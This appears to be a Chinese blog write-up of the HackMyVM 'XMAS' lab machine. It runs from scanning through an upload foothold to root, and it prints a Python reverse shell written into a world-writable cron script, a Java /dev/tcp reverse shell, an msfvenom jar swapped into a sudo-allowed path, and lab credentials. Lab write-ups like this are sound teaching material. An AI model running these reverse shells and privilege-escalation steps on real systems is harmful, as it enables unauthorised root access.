![\"image-20240402125455811\"](\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404021423590.png\")
<\/div><\/p>\n\u4fe1\u606f\u641c\u96c6<\/h2>\n\u7aef\u53e3\u626b\u63cf<\/h3>\nrustscan -a 10.0.2.18 -- -A<\/code><\/pre>\nOpen 10.0.2.18:22\nOpen 10.0.2.18:80<\/code><\/pre>\nPORT STATE SERVICE REASON VERSION\n22\/tcp open ssh syn-ack OpenSSH 9.0p1 Ubuntu 1ubuntu8.5 (Ubuntu Linux; protocol 2.0)\n| ssh-hostkey: \n| 256 a6:3e:0b:65:85:2c:0c:5e:47:14:a9:dd:aa:d4:8c:60 (ECDSA)\n| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBB6Iuk2lt0gUkwd20LjylnFLItynNaqS7OuMGenbc2LNuIbmX\/gZGLZtpZvdTiMtV\/TQL1bAVcepNp2wlKDcOjw=\n| 256 99:72:b5:6e:1a:9e:70:b3:24:e0:59:98:a4:f9:d1:25 (ED25519)\n|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKoXAD4Qu41umJfR110GNdZPV8ldmZ8VSG0OhQyVO+Fw\n80\/tcp open http syn-ack Apache httpd 2.4.55\n| http-methods: \n|_ Supported Methods: GET HEAD POST OPTIONS\n|_http-title: Did not follow redirect to http:\/\/christmas.hmv\n|_http-server-header: Apache\/2.4.55 (Ubuntu)\nService Info: Host: 127.0.1.1; OS: Linux; CPE: cpe:\/o:linux:linux_kernel<\/code><\/pre>\n\u76ee\u5f55\u626b\u63cf<\/h3>\ngobuster dir -u http:\/\/10.0.2.18\/ -w \/usr\/share\/wordlists\/dirbuster\/directory-list-2.3-medium.txt<\/code><\/pre>\nError: the server returns a status code that matches the provided options for non existing urls. http:\/\/10.0.2.18\/96892852-b184-4e22-8560-c544262528af => 301 (Length: 339). To continue please exclude the status code or the length<\/code><\/pre>\n\u67e5\u770b\u4e00\u4e0b\u7f51\u9875\uff0c\u4f1a\u53d1\u751f\u8df3\u8f6c\uff1a<\/p>\n
http:\/\/christmas.hmv\/<\/code><\/pre>\n\u52a0\u4e00\u4e2adns\uff1a<\/p>\n
# \/etc\/hosts\n10.0.2.18 christmas.hmv<\/code><\/pre>\n\u518d\u626b\u4e00\u4e0b\uff1a<\/p>\n
gobuster dir -u http:\/\/christmas.hmv\/ -w \/usr\/share\/wordlists\/dirbuster\/directory-list-2.3-medium.txt<\/code><\/pre>\n\/images (Status: 301) [Size: 315] [--> http:\/\/christmas.hmv\/images\/]\n\/uploads (Status: 301) [Size: 316] [--> http:\/\/christmas.hmv\/uploads\/]\n\/php (Status: 301) [Size: 312] [--> http:\/\/christmas.hmv\/php\/]\n\/css (Status: 301) [Size: 312] [--> http:\/\/christmas.hmv\/css\/]\n\/js (Status: 301) [Size: 311] [--> http:\/\/christmas.hmv\/js\/]\n\/javascript (Status: 301) [Size: 319] [--> http:\/\/christmas.hmv\/javascript\/]\n\/fonts (Status: 301) [Size: 314] [--> http:\/\/christmas.hmv\/fonts\/]\n\/server-status (Status: 403) [Size: 278]<\/code><\/pre>\n\u6f0f\u6d1e\u626b\u63cf<\/h3>\nnikto -h http:\/\/10.0.2.18<\/code><\/pre>\n- Nikto v2.5.0\n---------------------------------------------------------------------------\n+ Target IP: 10.0.2.18\n+ Target Hostname: 10.0.2.18\n+ Target Port: 80\n+ Start Time: 2024-04-02 00:56:24 (GMT-4)\n---------------------------------------------------------------------------\n+ Server: Apache\/2.4.55 (Ubuntu)\n+ \/: The anti-clickjacking X-Frame-Options header is not present. See: https:\/\/developer.mozilla.org\/en-US\/docs\/Web\/HTTP\/Headers\/X-Frame-Options\n+ \/: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https:\/\/www.netsparker.com\/web-vulnerability-scanner\/vulnerabilities\/missing-content-type-header\/\n+ Root page \/ redirects to: http:\/\/christmas.hmv\n+ No CGI Directories found (use '-C all' to force check all possible dirs)\n+ \/modules.php?letter=%22%3E%3Cimg%20src=javascript:alert(document.cookie);%3E&op=modload&name=Members_List&file=index: Post Nuke 0.7.2.3-Phoenix is vulnerable to Cross Site Scripting (XSS).\n+ 8102 requests: 0 error(s) and 3 item(s) reported on remote host\n+ End Time: 2024-04-02 00:56:36 (GMT-4) (12 seconds)\n---------------------------------------------------------------------------\n+ 1 host(s) tested<\/code><\/pre>\n\u6f0f\u6d1e\u6316\u6398<\/h2>\n\u67e5\u770b\u654f\u611f\u76ee\u5f55<\/h3>\n
![\"image-20240402131016520\"](\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\")
<\/div><\/p>\n\u6709\u4e00\u4e2a\u53ef\u4ee5\u67e5\u770b\u4e0a\u4f20\u6587\u4ef6\u7684\u5730\u65b9\uff0c\u5bfb\u627e\u4e00\u4e0b\u6709\u65e0\u6587\u4ef6\u4e0a\u4f20\u7684\u5730\u65b9\uff1a<\/p>\n
\u627e\u5230\u4e00\u5904\u95ee\u7b54\u5730\u65b9\uff1a<\/p>\n
<\/div><\/p>\nWhat was Josephs job? \nCarpenter\nHow many red nosed reindeers pull Santa's sleigh? \n1\nWhat country did Christmas Trees originate from?\nGermany\nHow does Santa Claus go back up the Chimney to continue his journey of delivering gifts?\nHe jumps up through the chimney\nIn the TV series Simpsons, what species is Santas little helper?\nDog<\/code><\/pre>\n\u6253\u5b8c\u65e0\u4e8b\u53d1\u751f\u3002\u3002\u3002<\/p>\n
\u6587\u4ef6\u4e0a\u4f20\u53cd\u5f39shell<\/h3>\n
\u627e\u5230\u4e00\u4e2a\u4e0a\u4f20\u70b9\uff1a<\/p>\n
<\/div>
\n<\/div>
\n<\/div><\/p>\nwtf?\u96be\u9053\u5f04\u9519\u4e86\uff1f\u518d\u6765\u4e00\u6b21\uff1a<\/p>\n
<\/div><\/p>\n\u83ab\u540d\u5176\u5999\u53c8\u6709\u4e86\uff0c\u8fde\u63a5\u4e00\u4e0b\uff1a<\/p>\n
<\/div><\/p>\n\u63d0\u6743<\/h2>\n\u4fe1\u606f\u641c\u96c6<\/h3>\n(remote) www-data@xmas:\/$ whoami;id\nwww-data\nuid=33(www-data) gid=33(www-data) groups=33(www-data)\n(remote) www-data@xmas:\/$ pwd \n\/\n(remote) www-data@xmas:\/$ cd \/var\/www\/html\n(remote) www-data@xmas:\/var\/www\/html$ ls -la\ntotal 20\ndrwxr-xr-x 2 root root 4096 Nov 17 19:20 .\ndrwxr-xr-x 4 root root 4096 Nov 17 19:59 ..\n-rw-r--r-- 1 root root 10671 Nov 17 19:20 index.html\n(remote) www-data@xmas:\/var\/www\/html$ cd ..\/;ls -la\ntotal 16\ndrwxr-xr-x 4 root root 4096 Nov 17 19:59 .\ndrwxr-xr-x 14 root root 4096 Nov 17 19:20 ..\ndrwxr-xr-x 8 root root 4096 Nov 19 21:35 christmas.hmv\ndrwxr-xr-x 2 root root 4096 Nov 17 19:20 html\n(remote) www-data@xmas:\/var\/www$ cd christmas.hmv\/\n(remote) www-data@xmas:\/var\/www\/christmas.hmv$ ls -la\ntotal 60\ndrwxr-xr-x 8 root root 4096 Nov 19 21:35 .\ndrwxr-xr-x 4 root root 4096 Nov 17 19:59 ..\ndrwxr-xr-x 2 root root 4096 Nov 17 20:22 css\ndrwxr-xr-x 2 root root 4096 Nov 17 20:22 fonts\ndrwxr-xr-x 2 root root 4096 Nov 19 16:22 images\n-rw-r--r-- 1 root root 25482 Nov 19 21:26 index.php\ndrwxr-xr-x 2 root root 4096 Nov 17 20:22 js\ndrwxr-xr-x 2 root root 4096 Nov 17 20:22 php\ndrwxrwxrwx 2 www-data www-data 4096 Apr 2 05:28 uploads\n(remote) www-data@xmas:\/var\/www\/christmas.hmv$ cat \/etc\/passwd\nroot:x:0:0:root:\/root:\/bin\/bash\ndaemon:x:1:1:daemon:\/usr\/sbin:\/usr\/sbin\/nologin\nbin:x:2:2:bin:\/bin:\/usr\/sbin\/nologin\nsys:x:3:3:sys:\/dev:\/usr\/sbin\/nologin\nsync:x:4:65534:sync:\/bin:\/bin\/sync\ngames:x:5:60:games:\/usr\/games:\/usr\/sbin\/nologin\nman:x:6:12:man:\/var\/cache\/man:\/usr\/sbin\/nologin\nlp:x:7:7:lp:\/var\/spool\/lpd:\/usr\/sbin\/nologin\nmail:x:8:8:mail:\/var\/mail:\/usr\/sbin\/nologin\nnews:x:9:9:news:\/var\/spool\/news:\/usr\/sbin\/nologin\nuucp:x:10:10:uucp:\/var\/spool\/uucp:\/usr\/sbin\/nologin\nproxy:x:13:13:proxy:\/bin:\/usr\/sbin\/nologin\nwww-data:x:33:33:www-data:\/var\/www:\/usr\/sbin\/nologin\nbackup:x:34:34:backup:\/var\/backups:\/usr\/sbin\/nologin\nlist:x:38:38:Mailing List Manager:\/var\/list:\/usr\/sbin\/nologin\nirc:x:39:39:ircd:\/run\/ircd:\/usr\/sbin\/nologin\n_apt:x:42:65534::\/nonexistent:\/usr\/sbin\/nologin\nnobody:x:65534:65534:nobody:\/nonexistent:\/usr\/sbin\/nologin\nsystemd-network:x:998:998:systemd Network Management:\/:\/usr\/sbin\/nologin\nsystemd-timesync:x:997:997:systemd Time Synchronization:\/:\/usr\/sbin\/nologin\nmessagebus:x:100:106::\/nonexistent:\/usr\/sbin\/nologin\nsystemd-resolve:x:996:996:systemd Resolver:\/:\/usr\/sbin\/nologin\npollinate:x:101:1::\/var\/cache\/pollinate:\/bin\/false\nsshd:x:102:65534::\/run\/sshd:\/usr\/sbin\/nologin\nsyslog:x:103:109::\/nonexistent:\/usr\/sbin\/nologin\nuuidd:x:104:110::\/run\/uuidd:\/usr\/sbin\/nologin\ntcpdump:x:105:111::\/nonexistent:\/usr\/sbin\/nologin\ntss:x:106:112:TPM software stack,,,:\/var\/lib\/tpm:\/bin\/false\nlandscape:x:107:113::\/var\/lib\/landscape:\/usr\/sbin\/nologin\nfwupd-refresh:x:108:114:fwupd-refresh user,,,:\/run\/systemd:\/usr\/sbin\/nologin\nalabaster:x:1000:1000:Alabaster Snowball:\/home\/alabaster:\/bin\/bash\nlxd:x:999:100::\/var\/snap\/lxd\/common\/lxd:\/bin\/false\nmysql:x:109:116:MySQL Server,,,:\/nonexistent:\/bin\/false\nsanta:x:1001:1001:Santa Claus,,,:\/home\/santa:\/bin\/bash\nsugurplum:x:1002:1002:Sugurplum Mary,,,:\/home\/sugurplum:\/bin\/bash\nbushy:x:1003:1003:Bushy Evergreen,,,:\/home\/bushy:\/bin\/bash\npepper:x:1004:1004:Pepper Minstix,,,:\/home\/pepper:\/bin\/bash\nshinny:x:1005:1005:Shinny Upatree,,,:\/home\/shinny:\/bin\/bash\nwunorse:x:1006:1006:Wunorse Openslae,,,:\/home\/wunorse:\/bin\/bash\n(remote) www-data@xmas:\/var\/www\/christmas.hmv$ cat \/etc\/cron*\ncat: \/etc\/cron.d: Is a directory\ncat: \/etc\/cron.daily: Is a directory\ncat: \/etc\/cron.hourly: Is a directory\ncat: \/etc\/cron.monthly: Is a directory\ncat: \/etc\/cron.weekly: Is a directory\n# \/etc\/crontab: system-wide crontab\n# Unlike any other crontab you don't have to run the `crontab'\n# command to install the new version when you edit this file\n# and files in \/etc\/cron.d. These files also have username fields,\n# that none of the other crontabs do.\n\nSHELL=\/bin\/sh\n# You can also override PATH, but by default, newer versions inherit it from the environment\n#PATH=\/usr\/local\/sbin:\/usr\/local\/bin:\/sbin:\/bin:\/usr\/sbin:\/usr\/bin\n\n# Example of job definition:\n# .---------------- minute (0 - 59)\n# | .------------- hour (0 - 23)\n# | | .---------- day of month (1 - 31)\n# | | | .------- month (1 - 12) OR jan,feb,mar,apr ...\n# | | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat\n# | | | | |\n# * * * * * user-name command to be executed\n17 * * * * root cd \/ && run-parts --report \/etc\/cron.hourly\n25 6 * * * root test -x \/usr\/sbin\/anacron || { cd \/ && run-parts --report \/etc\/cron.daily; }\n47 6 * * 7 root test -x \/usr\/sbin\/anacron || { cd \/ && run-parts --report \/etc\/cron.weekly; }\n52 6 1 * * root test -x \/usr\/sbin\/anacron || { cd \/ && run-parts --report \/etc\/cron.monthly; }\n#\n(remote) www-data@xmas:\/var\/www\/christmas.hmv$ cd \/script\nbash: cd: \/script: No such file or directory\n(remote) www-data@xmas:\/var\/www\/christmas.hmv$ cd \/scripts\nbash: cd: \/scripts: No such file or directory\n(remote) www-data@xmas:\/var\/www\/christmas.hmv$ cd \/etc;ls -la\ntotal 960\n......(\u591a\u4e14\u6ca1\u6709\u53d1\u73b0\u5565)\n(remote) www-data@xmas:\/etc$ find \/ -perm -u=s -type f 2>\/dev\/null\n\/usr\/bin\/passwd\n\/usr\/bin\/sudo\n\/usr\/bin\/chsh\n\/usr\/bin\/newgrp\n\/usr\/bin\/su\n\/usr\/bin\/fusermount3\n\/usr\/bin\/mount\n\/usr\/bin\/gpasswd\n\/usr\/bin\/umount\n\/usr\/bin\/chfn\n\/usr\/libexec\/polkit-agent-helper-1\n\/usr\/lib\/dbus-1.0\/dbus-daemon-launch-helper\n\/usr\/lib\/snapd\/snap-confine\n\/usr\/lib\/openssh\/ssh-keysign\n\/snap\/snapd\/20290\/usr\/lib\/snapd\/snap-confine\n\/snap\/snapd\/21184\/usr\/lib\/snapd\/snap-confine\n\/snap\/core22\/1122\/usr\/bin\/chfn\n\/snap\/core22\/1122\/usr\/bin\/chsh\n\/snap\/core22\/1122\/usr\/bin\/gpasswd\n\/snap\/core22\/1122\/usr\/bin\/mount\n\/snap\/core22\/1122\/usr\/bin\/newgrp\n\/snap\/core22\/1122\/usr\/bin\/passwd\n\/snap\/core22\/1122\/usr\/bin\/su\n\/snap\/core22\/1122\/usr\/bin\/sudo\n\/snap\/core22\/1122\/usr\/bin\/umount\n\/snap\/core22\/1122\/usr\/lib\/dbus-1.0\/dbus-daemon-launch-helper\n\/snap\/core22\/1122\/usr\/lib\/openssh\/ssh-keysign\n\/snap\/core22\/1122\/usr\/libexec\/polkit-agent-helper-1\n\/snap\/core22\/864\/usr\/bin\/chfn\n\/snap\/core22\/864\/usr\/bin\/chsh\n\/snap\/core22\/864\/usr\/bin\/gpasswd\n\/snap\/core22\/864\/usr\/bin\/mount\n\/snap\/core22\/864\/usr\/bin\/newgrp\n\/snap\/core22\/864\/usr\/bin\/passwd\n\/snap\/core22\/864\/usr\/bin\/su\n\/snap\/core22\/864\/usr\/bin\/sudo\n\/snap\/core22\/864\/usr\/bin\/umount\n\/snap\/core22\/864\/usr\/lib\/dbus-1.0\/dbus-daemon-launch-helper\n\/snap\/core22\/864\/usr\/lib\/openssh\/ssh-keysign\n(remote) www-data@xmas:\/etc$ echo $PATH\n\/usr\/local\/sbin:\/usr\/local\/bin:\/usr\/sbin:\/usr\/bin:\/sbin:\/bin:\/snap\/bin\n(remote) www-data@xmas:\/etc$ cd \/opt\n(remote) www-data@xmas:\/opt$ ls -la\ntotal 12\ndrwxr-xr-x 3 root root 4096 Nov 20 18:39 .\ndrwxr-xr-x 20 root root 4096 Nov 17 17:25 ..\ndrwxr-xr-x 2 root root 4096 Nov 20 18:39 NiceOrNaughty\n(remote) www-data@xmas:\/opt$ cd NiceOrNaughty\/\n(remote) www-data@xmas:\/opt\/NiceOrNaughty$ ls -la\ntotal 12\ndrwxr-xr-x 2 root root 4096 Nov 20 18:39 .\ndrwxr-xr-x 3 root root 4096 Nov 20 18:39 ..\n-rwxrwxrw- 1 root root 2029 Nov 20 18:39 nice_or_naughty.py\n(remote) www-data@xmas:\/opt\/NiceOrNaughty$ cat nice_or_naughty.py \nimport mysql.connector\nimport random\nimport os\n\n# Check the wish lists directory\ndirectory = "\/var\/www\/christmas.hmv\/uploads"\n# Connect to the mysql database christmas\nmydb = mysql.connector.connect(\n host="localhost",\n user="root",\n password="ChristmasMustGoOn!",\n database="christmas"\n)\n\n#Read the names of the wish list\ndef read_names(directory):\n for filename in os.listdir(directory):\n full_path = os.path.join(directory, filename)\n if os.path.isfile(full_path):\n name, ext = os.path.splitext(filename)\n if any(char.isalnum() for char in name):\n status = random.choice(["nice", "naughty"])\n #print(f"{name} {status}")\n insert_data(name, status)\n os.remove(full_path)\n else:\n pass\n\n elif os.path.isdir(full_path):\n pass \n\n# Insert name into the database\ndef insert_data(name, status):\n mycursor = mydb.cursor()\n sql = "INSERT INTO christmas (name, status) VALUES ( %s, %s)"\n val = (name, status)\n mycursor.execute(sql, val)\n mydb.commit()\n\n#Generate printable Nice and Naughty list\ndef generate_lists():\n mycursor = mydb.cursor()\n\n # SQL query to fetch all names and status\n mycursor.execute("SELECT name, status FROM christmas")\n\n # Separate the nice and naughty lists\n nice_list = []\n naughty_list = []\n\n for (name, status) in mycursor:\n if status == "nice":\n nice_list.append(name)\n else:\n naughty_list.append(name)\n\n parent_directory = os.path.dirname(os.getcwd())\n file_path = "\/home\/alabaster\/nice_list.txt"\n # Save the nice and naughty lists to separate txt files\n with open(file_path, "w") as file:\n for name in nice_list:\n file.write(f"{name}\\n")\n file_path = "\/home\/alabaster\/naughty_list.txt"\n with open(file_path, "w") as file:\n for name in naughty_list:\n file.write(f"{name}\\n")\n\nread_names(directory)\ngenerate_lists()<\/code><\/pre>\n\u53ef\u4ee5\u770b\u5230-rwxrwxrw- 1 root root 2029 Nov 20 18:39 nice_or_naughty.py<\/code>\uff0c\u662f\u53ef\u5199\u7684\uff0c\u5728\u91cc\u9762\u52a0\u5165\u4e00\u4e2a\u53cd\u5f39shell\uff0c\u6211\u4e00\u5f00\u59cb\u7528hack_tools<\/code>\u7684\uff0c\u4f46\u662f\u6ca1\u6210\u529f\uff0c\u53c8\u6362\u4e86\u4e00\u4e2a\uff1a<\/p>\necho 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.2.4",2345));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("\/bin\/bash")' >\/opt\/NiceOrNaughty\/nice_or_naughty.py<\/code><\/pre>\n\u73b0\u5728\u5c31\u5f97\u60f3\u529e\u6cd5\u6267\u884c\u8fd9\u4e2a\u811a\u672c\uff0c\u56e0\u4e3a\u662f\u6ca1\u6709\u5b9a\u65f6\u4efb\u52a1\u7684\uff0c\u6240\u4ee5\u53ef\u80fd\u5b58\u5728\u67d0\u4e9b\u7a0b\u5e8f\u8c03\u7528\u65b9\u9762\u7684\uff0c\u4e0a\u4f20\u4e00\u4e2alinpea.sh<\/code>\uff1a<\/p>\n# kali\npython3 -m http.server 8888\n# xmas\nwget http:\/\/10.0.2.4:8888\/linpeas.sh\nchmod +x linpeas.sh\n.\/linpeas.sh<\/code><\/pre>\n\u521a\u51c6\u5907\u56de\u5934\u62ff\u7ec8\u7aef\u53bb\u63d0\u53d6\u4e00\u4e0b\u4fe1\u606f\uff0c\u7ed3\u679c\u53d1\u73b0shell\u5df2\u7ecf\u5f39\u56de\u6765\u4e86\uff1a<\/p>\n
<\/div><\/p>\n\u770b\u6765\u662f\u4f1a\u5b9a\u65f6\u89e6\u53d1\u7684\uff0c\u6211\u548b\u6ca1\u641c\u96c6\u5230\u5462\u3002\u3002<\/p>\n
\u4e0a\u4f20\u4e00\u4e2apspy64<\/code>\u770b\u770b\uff1a<\/p>\n<\/div><\/p>\n\u53d1\u73b0\u5b9a\u65f6\u4efb\u52a1\u4e86\u3002\u3002\u3002\u3002\u3002<\/p>\n
<\/div><\/p>\n\u989d\u3002\u3002\u3002\u3002\u3002<\/p>\n
\u63d0\u6743<\/h2>\n\u4fe1\u606f\u641c\u96c6<\/h3>\nalabaster@xmas:~$ sudo -l\nsudo -l\nMatching Defaults entries for alabaster on xmas:\n env_reset, mail_badpass,\n secure_path=\/usr\/local\/sbin\\:\/usr\/local\/bin\\:\/usr\/sbin\\:\/usr\/bin\\:\/sbin\\:\/bin\\:\/snap\/bin,\n use_pty\n\nUser alabaster may run the following commands on xmas:\n (ALL : ALL) ALL\n (ALL) NOPASSWD: \/usr\/bin\/java -jar\n \/home\/alabaster\/PublishList\/PublishList.jar\nalabaster@xmas:~$ cd \/home\/alabaster\/PublishList\/\ncd \/home\/alabaster\/PublishList\/\nalabaster@xmas:~\/PublishList$ ls -la\nls -la\ntotal 28\ndrwxrwxr-x 2 alabaster alabaster 4096 Nov 20 18:45 .\ndrwxr-x--- 7 alabaster alabaster 4096 Nov 20 18:43 ..\n-rw-rw-r-- 1 alabaster alabaster 38 Nov 20 18:45 manifest.mf\n-rw-rw-r-- 1 alabaster alabaster 24 Nov 20 18:44 MANIFEST.MF\n-rw-rw-r-- 1 alabaster alabaster 1760 Nov 20 18:45 PublishList.class\n-rw-rw-r-- 1 alabaster alabaster 1477 Nov 20 18:45 PublishList.jar\n-rw-rw-r-- 1 alabaster alabaster 1182 Nov 20 18:44 PublishList.java<\/code><\/pre>\n\u53d1\u73b0\u662f\u53ef\u5199\u7684\uff0c\u627e\u4e00\u4e0bjava\u7684\u53cd\u5f39shell\uff1a<\/p>\n
public class shell {\n public static void main(String[] args) {\n Process p;\n try {\n p = Runtime.getRuntime().exec("bash -c $@|bash 0 echo bash -i >& \/dev\/tcp\/10.0.2.4\/1234 0>&1");\n p.waitFor();\n p.destroy();\n } catch (Exception e) {}\n }\n}<\/code><\/pre>\n\u53ef\u4ee5\u81ea\u5df1\u7f16\u8bd1\u4e00\u4e0b\uff0c\u518d\u4e0a\u4f20\uff0c\u6211\u76f4\u63a5\u4f7f\u7528msf\u751f\u6210\u4e86\uff1a<\/p>\n
msfvenom -p java\/shell_reverse_tcp LHOST=10.0.2.4 LPORT=1234 -f jar -o shell.jar\npython3 -m http.server 8888<\/code><\/pre>\nmv PublishList.jar PublishList.jar.bak\nmv shell.jar PublishList.jar\nsudo \/usr\/bin\/java -jar \/home\/alabaster\/PublishList\/PublishList.jar\n# \u8fd9\u91cc\u8981\u7528\u7edd\u5bf9\u8def\u5f84\u54e6<\/code><\/pre>\n\u7136\u540e\u5c31\u4f1a\u5f39\u4e00\u4e2arootshell<\/code>\u52301234<\/code>\u76d1\u542c\u7aef\u53e3\u4e0a\u9762\u53bb\uff1a<\/p>\n[02:15:50] Welcome to pwncat \ud83d\udc08! __main__.py:164[02:20:14] received connection from 10.0.2.18:39176 bind.py:84[02:20:15] 0.0.0.0:1234: upgrading from \/usr\/bin\/dash to \/usr\/bin\/bash manager.py:957 10.0.2.18:39176: registered new host w\/ db manager.py:957\n(local) pwncat$ \n(remote) root@xmas:\/home\/alabaster\/PublishList# whoami;id\nroot\nuid=0(root) gid=0(root) groups=0(root)\n(remote) root@xmas:\/home\/alabaster\/PublishList# cd ..\/;ls -la\ntotal 60\ndrwxr-x--- 7 alabaster alabaster 4096 Nov 20 18:43 .\ndrwxr-xr-x 9 root root 4096 Nov 19 22:29 ..\n-rw------- 1 alabaster alabaster 791 Nov 20 19:28 .bash_history\n-rw-r--r-- 1 alabaster alabaster 220 Jan 7 2023 .bash_logout\n-rw-r--r-- 1 alabaster alabaster 3771 Jan 7 2023 .bashrc\ndrwx------ 3 alabaster alabaster 4096 Nov 19 11:07 .cache\ndrwxrwxr-x 4 alabaster alabaster 4096 Nov 19 11:08 .local\n-rw-rw-r-- 1 alabaster alabaster 43 Apr 2 05:38 naughty_list.txt\n-rw-rw-r-- 1 alabaster alabaster 35 Apr 2 05:38 nice_list.txt\ndrwxrwxr-x 2 alabaster alabaster 4096 Nov 19 21:50 NiceOrNaughty\n-rw-r--r-- 1 alabaster alabaster 807 Jan 7 2023 .profile\ndrwxrwxr-x 2 alabaster alabaster 4096 Apr 2 06:18 PublishList\n-rw-rw-r-- 1 alabaster alabaster 66 Nov 19 21:43 .selected_editor\ndrwx------ 2 alabaster alabaster 4096 Nov 17 17:32 .ssh\n-rw-r--r-- 1 alabaster alabaster 0 Nov 17 17:34 .sudo_as_admin_successful\n-rw-rw---- 1 alabaster alabaster 849 Nov 19 09:08 user.txt\n(remote) root@xmas:\/home\/alabaster# cat user.txt\n ||::|:|| .--------,\n |:||:|:| |_______ \/ .-.\n ||::|:|| ."` ___ `". {\\('v')\/}\n \\\\\\\/\\\/\/\/: .'` `'. ;____`( )'___________________________\n \\====\/ '.\/ o o \\|~ ^" "^ \/\/\n \\\\\/\/ | ())) . | Merry Christmas! \\\n || \\ `.__.' \/| \/\/\n || _{``-.___.-'\\| Flag: HMV{7bMJ6js7guhQadYDTmBt} \\\n || _." `-.____.-'`| ___ \/\/\n ||` __ \\ |___\/ \\______________________________\\\n ."|| (__) \\ \\| \/\n \/ `\\\/ __ vvvvv'\\___\/\n | | (__) |\n \\___\/\\ \/\n || | .___. |\n || | | |\n ||.-' | '-.\n || | )\n ||----------'---------'\n(remote) root@xmas:\/home\/alabaster# cat \/root\/root.txt\n __,_,_,___) _______\n (--| | | (--\/ ),_) ,_) \n | | | _ ,_,_ | |_ ,_ ' , _|_,_,_, _ ,\n __| | | (\/_| | (_| | | || |\/_)_| | | |(_|\/_)___,\n ( |___, ,__| \\____) |__, |__,\n\n | _...._\n \\ _ \/ .::o:::::.\n (\\o\/) .:::'''':o:.\n --- \/ \\ --- :o:_ _:::\n >*< `:}_>()<_{:'\n >0<@< @ `'\/\/\\\\'` @ \n >>>@<<* @ # \/\/ \\\\ # @\n >@>*<0<<< __#_#____\/'____'\\____#_#__\n >*>>@<<<@<< [__________________________]\n >@>>0<<<*<<@< |=_- .-\/\\ \/\\ \/\\ \/\\--. =_-|\n >*>>0<<@<<<@<<< |-_= | \\ \\\\ \\\\ \\\\ \\ |-_=-|\n >@>>*<<@<>*<<0<*< |_=-=| \/ \/\/ \/\/ \/\/ \/ |_=-_|\n \\*\/ >0>>*<<@<>0><<*<@<< |=_- |`-'`-'`-'`-' |=_=-|\n ___\\\\U\/\/___ >*>>@><0<<*>>@><*<0<< | =_-| o o |_==_| \n |\\\\ | | \\\\| >@>>0<*<<0>>@<<0<<<*<@< |=_- | ! ( ! |=-_=|\n | \\\\| | _(UU)_ >((*))_>0><*<0><@<<<0<*< _|-,-=| ! ). ! |-_-=|_\n |\\ \\| || \/ \/\/||.*.*.*.|>>@<<*<<@>><0<<@<\/=-((=_| ! __(:')__ ! |=_==_-\\\n |\\\\_|_|&&_\/\/ ||*.*.*.*|_\\\\db\/\/__ (\\_\/)-=))-|\/^\\=^=^^=^=\/^\\| _=-_-_\\\n """"|'.'.'.|~~|.*.*.*| ____|_ =('.')=\/\/ ,------------. \n |'.'.'.| ^^^^^^|____|>>>>>>| ( ~~~ )\/ (((((((()))))))) \n ~~~~~~~~ '""""`------' `w---w` `------------'\n Flag HMV{GUbM4sBXzvwf7eC9bNL4}<\/code><\/pre>\n","protected":false},"excerpt":{"rendered":"XMAS \u4fe1\u606f\u641c\u96c6 \u7aef\u53e3\u626b\u63cf rustscan -a 10.0.2.18 — -A Open 10.0.2. […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[11,24,18],"tags":[],"class_list":["post-487","post","type-post","status-publish","format-standard","hentry","category-ctf-and-protest","category-penetration-test","category-web"],"_links":{"self":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/487","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/comments?post=487"}],"version-history":[{"count":1,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/487\/revisions"}],"predecessor-version":[{"id":488,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/487\/revisions\/488"}],"wp:attachment":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/media?parent=487"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/categories?post=487"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/tags?post=487"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}
